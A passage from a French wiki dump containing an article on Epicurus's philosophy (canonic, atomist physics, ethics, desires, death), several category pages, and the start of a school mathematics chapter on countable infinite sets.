comme le vide par exemple, dont on admet l'existence par un raisonnement (la validité est en ce sens que le jugement n'est pas faux, et peut donc être tenu pour vrai). *la '''prénotion''' (prolepsis): ce sont des conceptions générales intérieures à l'âme, formées par la répétition de la perception d'un objet sensible, mais qui devient antérieures à l'impression sensible en tant qu'expérience possible, et qui sont présupposées dans la compréhension que nous avons des mots que nous employons pour formuler des questions. La prénotion est donc désignée par un nom, et la prononciation de ce nom suscite l'objet qu'il désigne dans notre esprit. Ce procédé rend toute définition inutile, puisque le concept apparaît ainsi avec évidence. La prénotion est donc une image d'une chose réelle dont elle dérive et implique en tant que telle un jugement d'existence. Ces prénotions nous permettent de dépasser notre expérience actuelle parce qu'elles résultent de notre expérience passée ; en ce sens, elles fondent tous nos jugements et nos croyances. Épicure ne décrit pas le fonctionnement de l'acquisition de prénotions ; on peut dire néanmoins que c'est une faculté de l'esprit de renouveler certains mécanismes de la perception en opérant des choix parmi les images sensibles (les simulacres) ; *'''l'intuition de la réflexion''' (''phantastikè epibolè tes dianoias''), ou « focalisation » de la pensée : cette intuition fait concevoir l'''univers'' dans son ensemble, en dépassant l'intuition sensible ; c'est la représentation d'un objet extérieur par l'appréhension de son image. Cette dernière évidence a peut-être été ajoutée par les épicuriens aux trois premières évidences d'Épicure. ==== Validité scientifique ==== La canonique permet d'établir les critères de validités d'une théorie science|scientifique. Une opinion est vérifiée ou falsifiée ; elle porte sur des faits évidents ou non évidents. Ces distinctions permettent de formuler des critères. Pour Épicure, ces critères sont : *l'expérience sensible immédiate : une opinion portant sur un fait est attestée par des choses évidentes ; *l'absence de contre-témoignage implique une certaine cohérence avec les phénomènes : la cohérence des hypothèses sur les choses invisibles et les sensations immédiates, ce qui permet de se représenter la théorie dans son ensemble et dans le détail et de saisir les liaisons entre les phénomènes ; *le fait qu'une théorie est non actuellement réfutée ou falsifiée par les phénomènes : « La non infirmation est le lien de conséquence qui rattache à ce qui apparaît avec évidence une opinion sur une chose invisible ; par exemple Épicure affirme qu'il y a du vide, une chose invisible, et le prouve par cette chose évidente qu'est le mouvement. » (Sextus Empiricus, ''Contre les Mathématiciens''). Il peut donc y avoir plusieurs théories valides pour expliquer un même phénomène : plusieurs hypothèses qui ne contredisent pas les phénomènes doivent être tenues pour vraies, car on ne peut choisir arbitrairement une cause plutôt qu'une autre. ==== Théorie du langage ==== Un nom évoque une prénotion, il y a donc pour Épicure un rapport entre théorie de la connaissance et théorie du langage. Pour Épicure il faut se référer au sens premier d'un mot, lié à la prénotion dont il tient son sens. Cette théorie invite à décrire l'origine du langage pour mieux comprendre la connaissance humaine : *émission de sons sous le choc des sensations ; c'est une impulsion instinctive et naturelle ; *le langage s'accroît ensuite par convention entre les hommes qui s'accordent sur des expressions facilitant la vie sociale ; les noms décrivent des sentiments et des impressions sensibles. *enfin, des hommes inventent des mots nouveaux pour de nouvelles connaissances. Des catégories grammaticales et des significations nouvelles sont employées pour utiliser le langage de manière plus abstraite et théorique. Le langage n'est donc pas une invention humaine : c'est l'environnement de l'homme et sa constitution physique variables qui sont la source des sentiments, des impressions et des sons qui en résultent. Le premier sens d'un mot est donc un sens naturel, mais ce sens est ensuite recouvert par les usages que les hommes en font. Revenir au sens premier, c'est revenir aux préconceptions mêmes, et donc puiser à la source de la connaissance humaine (par opposition à la dialectique). Épicure rejette ainsi à la fois le conventionnalisme et la théorie platonicienne des noms naturels. === L'étude de la nature === ==== Contexte philosophique ==== La physique d'Épicure est exposée dans la ''Lettre à Hérodote''.<br /> Épicure était un philosophe, mais comme presque tous les philosophes de l'Antiquité, il était aussi un astronomie|astronome et un physicien. Les lettres que l'on peut lire aujourd'hui sont essentiellement des résumés de ses théories physiques et astronomiques. Selon lui, une juste compréhension de l'univers permet de mener une vie bonheur|heureuse : ''« Si la crainte des météores et la peur que la mort ne soit quelque chose pour nous, ainsi que l'ignorance des limites des douleurs et des désirs, ne venaient gêner notre vie, nous n'aurions nullement besoin de physique. »'' (''Maximes capitales'', XI). Le principe d'Épicure est en quelque sorte le suivant : mieux vaut une explication qui supprime la crainte, que pas d'explication du tout. Il est donc possible et recommandé d'accepter plusieurs hypothèses sur la cause d'un phénomène naturel, plutôt que de rester dans la superstition. Une bonne explication est une explication qui rend heureux !<br /> Pourtant, malgré ce qui pourrait apparaître à première vue comme des limites, sa physique est suffisamment cohérente pour être examinée indépendamment du reste de sa pensée, sans doute parce qu'elle n'implique aucun anthropocentrisme et qu'elle se passe facilement de l'existence des dieux (mais Épicure n'était pas athée, il faut le souligner). De la partie physique de la pensée d'Épicure, Cicéron dit : :''Qu'y a-t-il dans la physique d'Épicure qui ne provienne de Démocrite ? Car, même s'il a modifié quelques points, ainsi que je l'ai dit un peu plus haut concernant la déclinaison des atomes, pour le reste il dit la même chose.'' (De natura deorum). Ce jugement a traversé les siècles. Pourtant, tel quel, il est manifestement faux. La physique épicurienne est en effet plus proche de la pensée ionienne qui est plutôt positiviste, que du rationalisme qui triomphe alors, avec le stoïcisme par exemple. La pluralité des mondes, l'infini, la négation des croyances populaires, de la providence et du destin, etc. ne sont pas particulièrement compatibles avec la théologie de cette doctrine. La physique épicurienne est l'exact opposée de la physique stoïcienne. De plus, Démocrite est rationaliste quand il formule la théorie de l'atome, et il n'accorde aucune confiance aux données sensibles. Epicure, au contraire, s'appuie sur l'expérience et le témoignage véridique des sens. Les deux théories s'expriment donc de la même manière, mais pas pour les mêmes raisons. ==== Thèses fondamentales de la physique épicurienne ==== La physique d'Épicure est donc en gros une reprise de l'atomisme de Démocrite, qu'Épicure a sans doute appris par Nausiphane, mais il le modifie en introduisant l'idée d'un ''clinamen'', afin de conserver la liberté de la volonté humaine qui est niée par la doctrine atomiste. La philosophie naturelle d'Épicure est fondée sur un petit nombre d'axiomes, où l'on reconnaît facilement le principe de conservation de la cosmologie ionienne : #rien ne naît de rien #tout ne peut naître de tout #rien ne peut retourner au néant. Le tout est constitué d'une infinité d'atomes dans l'infinité du vide. Au sein de cette infinité, un monde est une organisation éphémère, qui n'est ni unique, ni fermée sur elle-même (ce qui s'oppose à l'autarcie du tout et du sage dans les philosophies antiques). Il existe des mondes très différents les uns des autres, contenant des êtres vivants très variés. Ces thèses ioniennes ne sont pas spécifiquement atomistes ; on peut néanmoins déduire l'existence de l'atome du principe de conservation. En effet, la réalité dans sa totalité est pour Épicure composée de deux éléments : les atomes et le vide. Or, les atomes sont les parties insécables de la matière. L'hypothèse de l'atome découle alors nécessairement de l'axiome 3. Si tout peut retourner au néant, l'univers disparaît. L'atome est donc la réalité permanente de l'univers. L'atome est : *une réalité invisible, éternelle, immuable, inaltérable ; *une grandeur insécable mais non indivisible (les grandeurs se divisant en minima, l'atome en est composé). Il reste à décrire cette réalité ultime et première qu'est l'atome. L'atome a les qualités suivantes, qui expliquent la formation des choses sensibles : * il a une forme * il a un poids * il a une vitesse Le mode de composition est en revanche peu invoqué.<br /> Ces qualités sont dites essentielles ; les atomes ne sont pas des unités identiques, mais ont des espèces différentes : pour former un homme ou un dieu, il faut des atomes différents. Les atomes sont donc les semences des choses (spermata), et non pas uniquement leurs composants. En revanche, la couleur, l'odeur, etc, sont des attributs accidentels qui n'existent qu'au niveau phénoménal relativement à un sujet. Néanmoins, Épicure estime que cette réalité subjective a autant de réalité et est aussi vraie que la réalité fondamentale des atomes. Les atomes se déplacent dans le vide ; ce déplacement est inévitable, puisque le vide est défini comme ce qui n'offre aucune résistance. La nature même de l'atome est en fait ce mouvement immanent et perpétuel, dirigé pour tous les atomes dans la même direction, avec la même vitesse, selon la pesanteur, de haut en bas. Il ne peut y avoir de différences de vitesse, car la différence de résistance des milieux est nulle : en effet, le vide n'offre pas de résistance. À cette pesanteur universelle, s'ajoute le poids propre de chaque atome. Les atomes peuvent également vibrer sur place et s'agréger. Ils forment alors des corps de plus en plus complexes. Mais il faut alors expliquer comment les atomes peuvent dévier de leur course, puisque celle-ci étant la même pour tous les atomes, ces derniers ne peuvent jamais se heurter. C'est là qu'Épicure introduit le fameux clinamen (paregklisis), qui est une déviation spontanée, spatialement et temporellement indéterminée, et qui permet aux atomes de s'entrechoquer. Cette hypothèse a laissé perplexe bien des philosophes, y compris des épicuriens. Il faut d'abord noter que la physique épicurienne n'est pas déterministe ; qu'ensuite le clinamen est, selon Lucrèce, conçu sur le modèle de la volonté libre opposé à l'impulsion donnée de l'extérieur. Mais, ceci étant dit, le clinamen demeure notoirement un concept inintelligible. Ce point étant admis, les atomes peuvent alors s'assembler : « Les nombreux éléments, depuis un temps infini, sous l'impulsion des chocs qu'ils reçoivent et de leur propre poids, s'assemblent de mille manières différentes et essayent toutes les combinaisons qu'ils peuvent former entre eux, si bien que par l'épreuve qu'ils font de tous les genres d'union et de mouvement, ils en arrivent à se grouper soudainement en des ensembles qui forment l'origine de ces grandes masses, la terre, la mer, le ciel, et les êtres vivants. » ==== La psychologie ==== L'étude de l'âme fait partie de la physique. L'âme est un corps fait d'atomes, et qui possède des qualités qui sont des accidents des corps composés. C'est un souffle chaud et subtil dans lequel se trouvent la pensée et les affections. Sa liaison avec le corps permet la sensation ; une fois cet agrégat détruit, l'âme n'éprouve plus rien et se dissipe. Mais là encore la théorie d'Épicure rencontre des difficultés ; les qualités vitales sont difficilement attribuables à un souffle chaud. L'âme sera alors un assemblage d'atomes spécifiques : atome de souffle, atome d'air, atome de chaud, et un quatrième atome sans nom, qui expliquerait la mobilité de la pensée. L'âme, puisqu'elle est un corps, est mortelle. Cette conception de l'âme, comme le reste de la physique, est au service du bonheur : il s'agit de faire disparaître les mythes qui viennent troubler notre pensée à propos de notre destination après la mort. À la vie éternelle, est opposée la mort immortelle, le temps infini pendant lequel nous ne sommes pas. Dans le monde romain, Lucrèce poursuivit les idées d'Épicure en les axant nettement dans un matérialisme à la mode antique. === Éthique et politique === ==== Problèmes fondamentaux de l'éthique ==== L'Éthique d'Épicure est exposée dans la lettre à Ménécée. L'atomisme de Démocrite implique la négation du libre-arbitre. Et s'il est nécessaire que nous agissions comme nous le faisons, nous ne sommes pas responsables de nos actions. C'est pourquoi nous avons vu qu'Épicure avait introduit le clinamen. Il pense également que nous pouvons contrôler les déterminations physiques. Cela introduit d'étranges contradictions dans sa doctrine. Mais, à l'inverse, le déterminisme aboutit à l'absence de décision et se réfute lui-même. Le déterminisme, expliquant tout par des mouvements atomiques, nie le rôle explicatif d'une causalité psychique de la croyance ou de la volition. Or, bien qu'Épicure soit atomiste, il ne tient pas le déterminisme comme moralement inacceptable. Il faut donc que les propriétés phénoménales et les impressions sensibles aient une réalité causale véritable, de même que le moi et la volonté. ==== Bonheur et plaisir ==== Cette doctrine est souvent interprétée à tort comme une philosophie de « bon vivant » cherchant le plaisir avec excès. En réalité, il s'agit d'une philosophie d'équilibre basée sur l'idée que toute action entraîne à la fois des effets plaisants (positifs) et des effets amenant la souffrance (négatifs). Il s'agit donc pour l'épicurien d'agir sobrement en recherchant les actions amenant l'absence de douleur, d'où doit découler le plaisir négatif de cet état de repos (ataraxie) ; c'est pourquoi l'excès doit être évité car il apporte la souffrance. Sans être une philosophie morale hédoniste, cette pensée ne recommande pas l'ascétisme s'il a des conséquences nuisibles. Épicure défend un mélange de joie tempérée, de tranquillité et d'autosuffisance. Le plaisir est le bien, et les vertus servent d'instruments. La vie selon le plaisir est cependant une vie de prudence, de bien et de justice. ==== La classification des désirs ==== La morale Épicure|épicurienne est une morale qui fait du plaisir le bien, et de la douleur le mal. Pour atteindre le bonheur (l'ataraxie), l'épicurien suit les règles du quadruple remède : *les dieux ne sont pas à craindre ; *la mort n'est pas à craindre ; *la douleur est facile à supprimer ; *le bonheur est facile à atteindre. Épicure classe ainsi les désirs : {| border="1" cellpadding="5" cellspacing="0" align="center" |+'''Classification des désirs selon Épicure''' ! colspan="4" style="background:#efefef;" align="center" |'''Désirs naturels''' ! colspan="2" style="background:#efefef;" align="center" |'''Désirs vains''' |- ! colspan="3" align="center" | '''Nécessaires''' |'''Simplement naturels''' |'''Artificiels''' |'''Irréalisables''' |- ! align="center"|Pour le bonheur (ataraxie) ! align="center"|Pour la tranquillité du corps (protection) ! align="center"|Pour la vie (nourriture, sommeil) ! align="center"|Variation des plaisirs, recherche de l'agréable ! align="center"|Ex : richesse, gloire ! align="center"|Ex : désir d'immortalité |- |} Cette classification n'est pas séparable d'un art de vivre, où les désirs sont l'objet d'un calcul en vue d'atteindre le bonheur. Pour le comprendre, il faut se rappeler l'atomisme : plaisir et douleur, dans cette conception, sont des accidents, ils n'existent pas au niveau des atomes, mais seulement au niveau de la conscience. À partir de là, il est naturel de juger bon le plaisir et mauvaise la douleur, puisque tous les êtres cherchent le plaisir. Ce sont nos sentiments qui nous indiquent que le plaisir est désirable. C'est une conscience naturelle, et notre constitution fait que nous cherchons le bonheur nécessairement. Mais, pour le calcul des plaisirs, tout plaisir n'est pas digne d'être choisi : le plus grand des plaisirs est la suppression de toute douleur. En conséquence, on doit éviter certains plaisirs, et même accepter certaines douleurs. Épicure fait également la distinction entre les plaisirs mobiles et les plaisirs statiques. Le plaisir statique est un état corporel et psychologique où nous sommes libérés de toute douleur, le bonheur est à son comble. Le plaisir mobile, en revanche, ne dure que le temps de son activité. Une vie qui suit ces plaisirs, comme les cyrénaïques, consiste à remplir une jarre percée. Les plaisirs mobiles sont donc en réalité subordonnés aux plaisirs statiques. En fin de compte, le principe le plus important de la doctrine d'Épicure est de vivre selon la prudence quand on cherche le plaisir. La libération des troubles (ataraxie) est la marque suprême du bonheur : elle renvoie au quadruple remède ; vivre sans peur, avec les plaisirs de l'amitié et de nos souvenirs, en supprimant les fausses croyances sources d'angoisse et les douleurs évitables. ==== Les institutions humaines, l'amitié, les dieux ==== ==== La civilisation humaine ==== Nous avons eu l'occasion de voir comment dans la théorie de la connaissance, Épicure envisageait l'origine du langage. Cette origine est à la fois naturelle et conventionnelle. Elle suppose des institutions humaines, qui sont nées progressivement de l'histoire de l'humanité : « Ce sont les choses elles-mêmes qui ont la plupart du temps instruit et contraint la nature humaine, et que la raison n'a fait que préciser ensuite. » De la même façon, la justice est une institution humaine : « Entre les animaux qui n'ont pu faire de conventions pour ne pas se nuire réciproquement, il n'y a ni justice ni injustice ; et il en est de même des nations qui n'ont ni pu ni voulu faire de conventions pour le même objet. » ==== L'amitié ==== Epicure pose la question de la sincérité de l'amitié. Qu'est-ce qu'un véritable ami ? Comment définir l'amitié vraie ? Pour Epicure, le véritable ami est avant tout celui qui prévient les besoins de l'autre, lui évitant ainsi les troubles de l'âme. ==== Les dieux ==== « Les dieux ne sont pas à craindre. » ==== Mort et philosophie ==== Ne pas craindre la mort est une marque de sagesse. La crainte, on l'a vu, est surtout la conséquence de la superstition. La psychologie d'Épicure doit permettre de supprimer toutes les superstitions qui se rapportent à l'âme : la mort est une extinction complète, elle n'est rien pour nous. On ne doit donc pas laisser la peur ruiner notre vie. Quelques arguments : *être mort n'est pas pire que de n'être pas encore né ; *la survie personnelle est impossible (cf. psychologie) ; *l'enfer est une projection des terreurs morales de cette vie ; *la vie bien vécue est un exercice en vue de la mort ; *la durée de notre vie est insignifiante ; *une vie vraiment achevée n'est pas augmentée par un temps infini. Le désir de vivre n'est pas rationnel ; si notre vie est parfaite, notre accomplissement dans la vie de tous les jours ne sera rien de plus si nous sommes immortels. C'est donc la qualité de la vie qui prime, la qualité du bonheur, et non la quantité. En conclusion de cette pensée : la philosophie est une activité qui produit la vie heureuse. "Épicure à Ménécée, salut.<br /> Que personne, parce qu'il est jeune, ne tarde à philosopher, ni, parce qu'il est vieux, ne se lasse de philosopher ; car personne n'entreprend ni trop tôt ni trop tard de garantir la santé de l'âme. Et celui qui dit que le temps de philosopher n'est pas encore venu, ou que ce temps est passé, est pareil à celui qui dit, en parlant du bonheur, que le temps n'est pas venu ou qu'il n'est plus là." == Titres d'œuvres perdues == D'après Diogène Laërce, X, 27 : *''De la Nature'' (trente-sept livres) *''Des Atomes et du Vide'' *''De l’Amour'' *''Abrégé d’un traité Contre les physiciens'' *''Contre les Mégariques'' *''Doutes'' *''Maximes Capitales'' *''De ce qu’il faut chercher et de ce qu’il faut fuir'' *''Des Fins'' *''Du Canon et du Critère'' *''Chérédème'' *''Des Dieux'' *''De la Sainteté'' *''Hégésianax'' *''Des Vies'' (quatre livres) *''De la Justice'' *''Néoclès, à Thémista'' *''Banquet'' *''Euryloque, à Métrodore'' *''De la Vue'' *''De l’Angle dans l’atome'' *''Du Toucher'' *''Du Destin '' *''Sur les Passions, à Timocrate'' *''Prognostic'' *''Protreptique'' *''Sur l'image'' *''Sur les simulacres'' *''Aristobule'' *''De la Musique'' *''De la Justice et des autres vertus'' *''Des Offrandes et de la Grâce'' *''Polymède'' *''Timocrate (trois livres)'' *''Métrodore (cinq)'' *''Antidore (deux) '' *''Sur les maladies à Mithra '' *''Callistolas'' *''De la Royauté'' *''Anaximène'' *''Lettres'' == Bibliographie == {{Wikisource}} *Lettres : **Lettre à Hérodote **Lettre à Pythoclès **Lettre à Ménécée *Les sources : **Diogène Laërce, Vies et doctrines des philosophes illustres, livre X. **Lucrèce, De natura rerum. **Cicéron, De finibus, De fato, De natura deorum. **Plutarque, Placita philosophorum, Contra Colotem. *Recueils de textes : **Epicurea, H. Usener, Leipzig, 1887. **Epicurus, epistulae tres et ratae sententiae, P. von der Muehll, Leipzig, 1887. **Les philosophes hellénistiques, tome I. Pyrrhon - L'épicurisme, Long et Sedley, Cambridge University Press, 1987 (Flammarion, Paris, 2001). *Etudes : **La morale d'Épicure, Jean-Marie Guyau **Épicure et ses dieux, A. J. Festugière **Épicure et son école, G. Rodis-Lewis == Épicurisme == *Colotès *Métrodore *Hermarque *Polystraton *Apollodore *Philodème *Épicurisme romain : **Amafinius **Lucrèce **Velleius Torquatus == Liens == [[Ataraxie]] | [[Clinamen]] | [[Matérialisme]] | [[Stoïcisme]] == Liens externes == * [http://pedagogie.ac-toulouse.fr/philosophie/textesdephilosophes.htm#epicure Les Lettres d'Épicure] *[http://www.biblioconcept.com/citations/citations_d'epicure.htm Quelques citations d'Epicure] [[Catégorie:Philosophe]] Catégorie:Commentaire philosophique 3800 15282 2005-06-02T19:59:57Z Marc 66 [[catégorie:Philosophie]] Catégorie:Philosophe 3801 33924 2006-02-21T19:40:21Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Philosophers}} [[catégorie:Philosophie]] Catégorie:Philosophie 3802 33434 2006-02-19T12:28:14Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Philosophy}} [[en:Category:Philosophy]] Catégorie:Vocabulaire philosophique 3803 15285 2005-06-02T20:02:40Z Marc 66 [[catégorie:Philosophie]] Catégorie:Fiche de lecture (philosophie) 3804 15286 2005-06-02T20:12:43Z Marc 66 [[catégorie:Philosophie]] Philosophie/Histoire de la philosophie/Le XIXème siècle 3806 47191 2006-07-03T08:27:59Z Guillaumito 46 [[Histoire de la philosophie - Le XIXème siècle]] déplacé vers [[Philosophie/Histoire de la philosophie/Le XIXème siècle]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie des Lumières|'''4. Philosophie des Lumières]]''' | width="34%" align="center"|'''Le XIXème siècle''' | width="33%" align="right"|'''[[Histoire de la philosophie - La philosophie au XXème siècle|'''6. Philosophie au XXème siècle]] ''' |} *[[Hegel]] **[[Introduction à la philosophie de Hegel]][[Image:red.png]] *[[Friedrich Nietzsche]] Philosophie/Histoire de la philosophie/La philosophie des Lumières 3807 47189 2006-07-03T08:27:22Z Guillaumito 46 [[Histoire de la philosophie - La philosophie des Lumières]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie des Lumières]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''La philosophie des Lumières''' | width="33%" align="right"|'''[[Histoire de la philosophie - Le XIXème siècle|'''5. Le XIX<sup>e</sup> siècle''']]''' |} *[[Vocabulaire de la philosophie kantienne]] AL Infini et processus infinis 3809 46427 2006-06-28T22:12:40Z 82.235.114.14 /* L'ensemble des nombres rationnels est plus grand que N ? */ [[Approfondissements de lycée]] == Introduction == Lorsque les enfants apprennent les nombres, ils sont intéressés par les plus gros, un million, un milliard, un billion. Ils peuvent même inventer leurs propres termes etc. Une des premières questions mathématiques qu'un enfant demande est "quel est le plus grand nombre ?" Ceci conduira souvent à une courte explication qu'il existe une infinité de nombres. Mais il existe plusieurs ''types'' différents d'infinis - en fait, il existe une infinité de types d'infini ! Ce chapitre essaiera d'expliquer ce que ces sortes d'infinis représentent ainsi que leurs différences entre eux. ==Ensembles infinis== ===Quelle grosseur a l'infini ?=== L'infini est différent d'un nombre normal parceque, par définition, il n'est pas '''fini'''. En divisant l'infini par n'importe quel nombre positif (excepté l'infini), nous obtiendrons l'infini. Vous pouvez aussi le multiplier par n'importe quoi excepté zéro (ou l'infini) et il ne sera pas plus grand. Donc, regardons de plus près les différentes sortes d'infinis. Un mathématicien nommé Georg Cantor créa une nouvelle branche des mathématiques appelée '''théorie des ensembles''' vers la fin du 19ème siècle. La théorie des ensembles implique des collections de nombres ou d'objets. Voici un ensemble : :<math>\{1,2,3,4,5\}</math> Est-il de même taille que celui-ci ? :<math>\{6,7,8,9,10\}</math> La notion de Cantor sur "la même taille" d'ensembles ne prend pas en considèration si les nombres sont plus gros, mais s'il existe la même quantité d'objet à l'intérieur. Vous pouvez voir facilement ici qu'ils sont de même taille, parceque vous pouvez simplement compter le nombre d'éléments dans chaque ensemble. Mais avec un nombre infini d'éléments, vous ne pouvez pas, dans un temps fini, compter tous les éléments d'un ensemble pour voir s'il a le même nombre qu'un autre. Pour décider si deux ensembles infinis ont le même nombre d'éléments, nous devons réfléchir avec précaution sur ce que nous faisons lorsque nous comptons. Pensons à deux enfants qui se partagent un sac de billes. "Une pour toi, et une pour moi, deux pour toi et deux pour moi" et ainsi de suite. Ils savent qu'ils auront tous les deux le même nombre de billes parceque la manière de partager l'effectuera. Même s'ils ne savent plus les nombres (s'il ne connaissent pas plus que trente, par exemple), ils pourrons encore se partager les billes avec le même procédé de "une autre pour toi et une autre pour moi". Nous pouvons utiliser la même idée pour comparer les ensembles infinis. Si nous pouvons trouver une manière d'apparier un élément d'un ensemble A avec un élément d'un ensemble B, et s'il n'existe pas d'élément de A sans partenaire de B et vice versa, alors nous pouvons dire que les ensembles A et B ont le même nombre d'éléments. ====Exemple==== Soit <math>\mathbb{N}\,</math> l'ensemble des nombres courants. <math>\mathbb{N}\,</math> est appelé l'ensemble des nombres naturels. 1,2,3,4,5,6, ... "jusqu'à" l'infini. Soit B, l'ensemble des nombres négatifs -1,-2,-3, ... ainsi de suite "jusqu'à" - l'infini. Les éléments de <math>\mathbb{N}\,</math> et B peuvent-ils être appariés ? La manières formelle de dire cela est "Peut-on mettre A et B en bijection ?" Evidemment, la réponse est oui. 1 de l'ensemble <math>\mathbb{N}\,</math> correspond à -1 de B. Comme suit : :'''N''' &nbsp; '''B''' :1 &nbsp; -1 :2 &nbsp; -2 :3 &nbsp; -3 et ainsi de suite. L'ensemble des nombres naturels est si utile que tout ensemble qui peut être mis en bijection avec lui est dit ''infini dénombrable''. Regardons quelques exemples supplémentaires. L'ensemble des entiers est-il infini dénombrable ? Les entiers sont l'ensemble N, l'ensemble B et 0. ... -3,-2,-1, 0, 1, 2, 3, ... Historiquement, cet ensemble est généralement appelé <math>\mathbb{Z}\,</math>. Noter que <math>\mathbb{N}\,</math>, l'ensemble des nombres naturels est un sous-ensemble de <math>\mathbb{Z}\,</math>. Tous les éléments de <math>\mathbb{N}\,</math> sont dans <math>\mathbb{Z}\,</math>, mais tous les éléments de <math>\mathbb{Z}\,</math> ne sont pas dans <math>\mathbb{N}\,</math>. Ce que nous avons besoin de savoir est si <math>\mathbb{Z}\,</math> peut être mis en bijection avec <math>\mathbb{N}\,</math>. Notre première réponse, donnée par le fait que <math>\mathbb{N}\,</math> est un sous-ensemble de <math>\mathbb{Z}\,</math>, serait non mais elle serait fausse ! En théorie des ensembles, l' ''ordre'' des éléments n'est pas important. Il n'y a pas de raisons pourquoi nous ne pourrions pas réarranger les éléments dans n'importe quel ordre tant que nous n'en omettons pas. <math>\mathbb{Z}\,</math> présenté comme ci-dessus n'est pas très dénombrable, mais si nous le réécrivons comme 0, -1, 1, -2, 2, -3, 3, 4 ..... et ainsi de suite, nous pouvons voir qu'il est dénombrable. :'''Z''' &nbsp; '''N''' : &nbsp;0 &nbsp; 1 : -1 &nbsp; 2 : &nbsp;1 &nbsp; 3 : -2 &nbsp; 4 et ainsi de suite. Vraiment étrange ! Un sous-ensemble de <math>\mathbb{Z}\,</math> (nommément les nombres naturels) possède le même nombre d'éléments que <math>\mathbb{Z}\,</math> lui-même ? Les ensembles infinis ne sont pas comme les ensembles ordinaires. En fait, ceci est quelquefois utilisé comme une définition d'un ensemble infini. '''Un ensemble infini est tout ensemble qui peut être mis en bijection avec au moins un de ses sous-ensembles'''. Plutôt que de dire "Le nombre d'éléments" d'un ensemble, on emploie quelquefois le mot '''cardinal''' ou '''valeur cardinale'''. <math>\mathbb{Z}\,</math> et <math>\mathbb{N}\,</math> sont dits avoir le même cardinal. ====Exercices==== #La quantité de nombres pairs est-elle la même que celle des nombres naturels ? #Quel est la quantité des nombres carrés ? #Le cardinal des nombres pairs inférieurs à 100 est-il égal au cardinal des nombres naturels inférieurs à 100 ? Quel est l'ensemble le plus grand ? Comment le savez-vous ? De quelles manières les ensembles finis diffèrent-ils des ensembles infinis ? #En utilisant l'idée de bijection, démontrer que <math>\infty + 1 = \infty</math>, qu'en est-t'il de <math>\infty + A</math> où A est un ensemble ''fini'' ? qu'en est-t'il d'<math>\infty + C</math> où C est un ensemble infini dénombrable ? ===L'ensemble des nombres rationnels est plus grand que N ?=== Dans ce chapitre, nous regarderons si nous pouvons trouver un ensemble qui est '''plus grand''' que l'infini dénombrable que nous venons d'examiner. Pour illustrer cette idée, nous pouvons imaginer une histoire. Il était une fois un criminel qui alla en prison. Ce n'était pas un bel endroit, le pauvre criminel rencontra donc le directeur de la prison et lui demanda sa liberté. Il répondit : ''"Oh d'accord - Je pense à un nombre, chaque jour tu peux essayer de le deviner. Si c'est correct, tu peux partir."'' Maintenant, la question est - le criminel peut-il sortir de lui même de la prison ? (réfléchir un peu avant de lire la suite) Evidemment, cela dépend du nombre. Si le directeur de prison choisit un nombre naturel, alors le criminel suppose 1, le premier jour, 2, le deuxième jour et ainsi de suite jusqu'à ce qu'il trouve le nombre correct. De même pour les entiers, 0 le premier jour, -1 le deuxième jour. 1 le troisième jour et ainsi de suite. Si le nombre est très grand, alors cela peut prendre un long moment pour sortir de prison mais il pourra le faire. Ce dont à besoin le directeur de prison, c'est de choisir un ensemble qui n'est pas dénombrable de cette manière. Pensez à un axe gradué. Les entiers sont largement espacés. Il existe une quantité de nombres compris entre les entiers 0 et 5 par exemple. Donc, nous devons nous occuper d'ensemble ''plus denses''. Le premier exemple qui vient en tête à la plupart des gens est celui des fractions. Il existe un nombre infini de fractions entre 0 et 1 donc assurément, il existe plus de fractions que d'entiers ? Est-il possible de dénombrer les fractions ? Imaginons cette possibilité un instant. Si nous essayons de dénombrer toutes les fractions entre 0 et 1 puis entre 1 et 2 et ainsi de suite, nous allons être bloqués parceque nous n'aurons jamais fini de compter celles qui précèdent 1 (il en existe une infinité). Mais cela veut-il dire qu'elles sont non-dénombrables ? Pensez à la situation avec les entiers. Les ordonner ...-2, -1, 0, 1, 2, ... les rendaient impossibles à dénombrer, mais les ''réordonner'' 0, -1, 1, -2, 2, ... permettait de les compter. En fait, il existe une manière d'ordonner les fractions pour permettre de les dénombrer. Avant d'aller plus avant, revenons à un langage mathématique normal. Les mathématiciens utilisent le terme ''nombre rationnel'' pour définir ce que nous avons appelé fractions. Un nombre rationnel est n'importe quel nombre qui peut être écrit sous la forme p/q où p et q sont des nombres entiers. Ainsi, 3/4 est rationnel comme l'est -1/2, l'ensemble des nombres rationnels est généralement noté <math>\mathbb{Q}\,</math> . Noter que <math>\mathbb{Z}\,</math> est un sous-ensemble de <math>\mathbb{Q}\,</math> parceque tout entier peut être divisé par 1, pour le rendre rationnel. C.a.d. le nombre 3 peut être écrit sous la forme p/q comme 3/1. Maintenant, comme tous les nombre dans <math>\mathbb{Q}\,</math> sont définis par deux nombres p et q, il est commode d'écrire <math>\mathbb{Q}\,</math> sous la forme d'une table. <math>\begin{matrix}\frac{1}{1} & \frac{1}{2} & \frac{1}{3} & \cdots\\ & & \\\frac{2}{1} & \frac {2}{2} & \frac{2}{3} & \cdots\\ & & \\\frac{3}{1} & \frac{3}{2} & \frac{3}{3} & \cdots\\\vdots & \vdots & \vdots & \ddots\end{matrix}</math> Noter que cette table n'est pas une représentation exacte de <math>\mathbb{Q}\,</math>. Elle possède seulement les éléments positifs de <math>\mathbb{Q}\,</math> et un nombres d'entrées multiples.(c.a.d. 1/1 et 2/2 sont le même nombre). Nous appelerons cet ensemble <math>\mathbb{Q'}\,</math>. Il est suffisamment simple de voir que si <math>\mathbb{Q'}\,</math> est dénombrable, alors <math>\mathbb{Q}\,</math> l'est aussi. Comment allons-nous faire pour dénombrer <math>\mathbb{Q'}\,</math> ? Si nous essayons de dénombrer la première ligne puis la deuxième et ainsi de suite, nous échouerons parceque les lignes sont de longueurs infinies. De même, si nous essayons de compter les colonnes. Mais regardons les diagonales. Dans une direction, elles sont infinies (c.a.d. 1/1, 2/2, 3/3, ...) mais dans l'autre direction, elles sont 